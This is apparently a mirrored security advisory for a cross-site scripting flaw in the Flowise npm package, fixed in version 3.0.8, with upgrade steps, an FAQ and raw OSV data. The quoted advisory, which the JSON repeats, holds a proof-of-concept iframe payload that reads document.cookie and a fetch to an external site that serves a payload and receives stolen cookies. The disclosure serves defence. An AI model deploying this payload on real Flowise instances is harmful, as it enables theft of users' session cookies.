GHSA-4fr9-3x69-36wv: Flowise Cross-Site Scripting Vulnerability

MODERATE
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CWE-79
Published
Advisory Summary

GHSA-4fr9-3x69-36wv is a MODERATE cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Flowise libraries in the npm ecosystem. The issue involves flowise vulnerable to xss. Remediation is available by upgrading affected packages to version 3.0.8.

GHSA-4fr9-3x69-36wv at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-4fr9-3x69-36wv
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Flowise
Package Ecosystem npm
Published Date
Last Updated

How to Fix GHSA-4fr9-3x69-36wv

To remediate this vulnerability, upgrade all affected Flowise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

flowise fixed: 3.0.8 
npm install flowise@3.0.8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls flowise

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-4fr9-3x69-36wv, inspect your project dependencies using npm:

npm ls flowise

Analyze the terminal output to locate any version of Flowise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.0.8), your application is affected.

Note: The npm ls flowise command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Flowise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A XSS(cross-site scripting) vulnerability is caused by insufficient filtering of input by web applications. Attackers can leverage this XSS vulnerability to inject malicious script code (HTML code or client-side Javascript code) into web pages, and when users browse these web pages, the malicious code will be executed, and the victims may be vulnerable to various attacks such as cookie data theft, etc. ### Details 1. Send a Message `<iframe src="javascript:alert(document.cookie);">` from User in a chat box: <img width="1396" alt="image" src="https://github.com/user-attachments/assets/b472e304-9e7a-40d2-8469-675a5f0744e5" /> ##### Trigger in other ways: 2. Create a Agentflow in cloud platform (https://cloud.flowiseai.com/agentflows) 3. Create a Custom function as an example, use the below example code. ``` const fetch = require('node-fetch'); const url = 'https://external.website'; const options = { method: 'GET', headers: { 'Content-Type': 'application/json' } }; try { const response = await fetch(url, options); const text = await response.text(); return text; } catch (error) { console.error(error); return ''; } ``` 4. The external website (https://external.website) return a XSS payload as content. <img width="1228" alt="image" src="https://github.com/user-attachments/assets/2e0a4d1c-45bf-4c5f-b1b4-54c51f35ce53" /> 5. The javascript code is executed and the victim's cookie data is sent to the external website. <img width="1212" alt="image" src="https://github.com/user-attachments/assets/4ea17dab-c456-4a51-94f4-93fe9aa18cf7" /> ### PoC `<iframe src="javascript:alert(document.cookie);">` ### Impact it is critical XSS vulnerability. All users of Flowise platform that use the workflows of agents.

GHSA-4fr9-3x69-36wv Affected Flowise Versions

1 component(s)
Fixed Versions:
3.0.8
Product / Package Ecosystem Affected Versions Fixed Version
flowise
npm/flowise
npm
< 3.0.8
3.0.8

References

GitHub Advisory / Wiki ADVISORY
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-4fr9-3x69-36wv
Flowise Source Repository REPOSITORY
https://github.com/FlowiseAI/Flowise

Frequently Asked Questions

What is GHSA-4fr9-3x69-36wv?
GHSA-4fr9-3x69-36wv is a security vulnerability in Flowise involving Flowise vulnerable to XSS under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Flowise versions are affected?
Affected versions include releases prior to 3.0.8 across affected packages: flowise.
What version fixes GHSA-4fr9-3x69-36wv?
Upgrading to 3.0.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is flowise affected?
Yes, flowise is affected in releases prior to 3.0.8. Upgrade your dependency to 3.0.8 or later.
What CWE is associated with GHSA-4fr9-3x69-36wv?
GHSA-4fr9-3x69-36wv is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check npm dependencies for GHSA-4fr9-3x69-36wv?
Run the dependency tree command: 'npm ls flowise'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4fr9-3x69-36wv",
  "modified" : "2025-10-13T15:26:37Z",
  "published" : "2025-10-03T19:27:06Z",
  "aliases" : [ ],
  "summary" : "Flowise vulnerable to XSS",
  "details" : "### Summary\nA XSS(cross-site scripting) vulnerability is caused by insufficient filtering of input by web applications. Attackers can leverage this XSS vulnerability to inject malicious script code (HTML code or client-side Javascript code) into web pages, and when users browse these web pages, the malicious code will be executed, and the victims may be vulnerable to various attacks such as cookie data theft, etc.\n\n### Details\n1. Send a Message `<iframe src=\"javascript:alert(document.cookie);\">` from User in a chat box:\n<img width=\"1396\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b472e304-9e7a-40d2-8469-675a5f0744e5\" />\n\n##### Trigger in other ways:\n2. Create a Agentflow in cloud platform (https://cloud.flowiseai.com/agentflows)\n\n3. Create a Custom function as an example, use the below example code.\n```\nconst fetch = require('node-fetch');\nconst url = 'https://external.website';\nconst options = {\n    method: 'GET',\n    headers: {\n        'Content-Type': 'application/json'\n    }\n};\ntry {\n    const response = await fetch(url, options);\n    const text = await response.text();\n    return text;\n} catch (error) {\n    console.error(error);\n    return '';\n}\n```\n\n4. The external website (https://external.website) return a XSS payload as content.\n<img width=\"1228\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2e0a4d1c-45bf-4c5f-b1b4-54c51f35ce53\" />\n\n\n5. The javascript code is executed and the victim's cookie data is sent to the external website.\n<img width=\"1212\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4ea17dab-c456-4a51-94f4-93fe9aa18cf7\" />\n\n\n### PoC\n`<iframe src=\"javascript:alert(document.cookie);\">`\n\n### Impact\nit is critical XSS vulnerability. All users of Flowise platform that use the workflows of agents.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "flowise"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.0.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-4fr9-3x69-36wv"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/FlowiseAI/Flowise"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-10-03T19:27:06Z",
    "nvd_published_at" : null
  }
}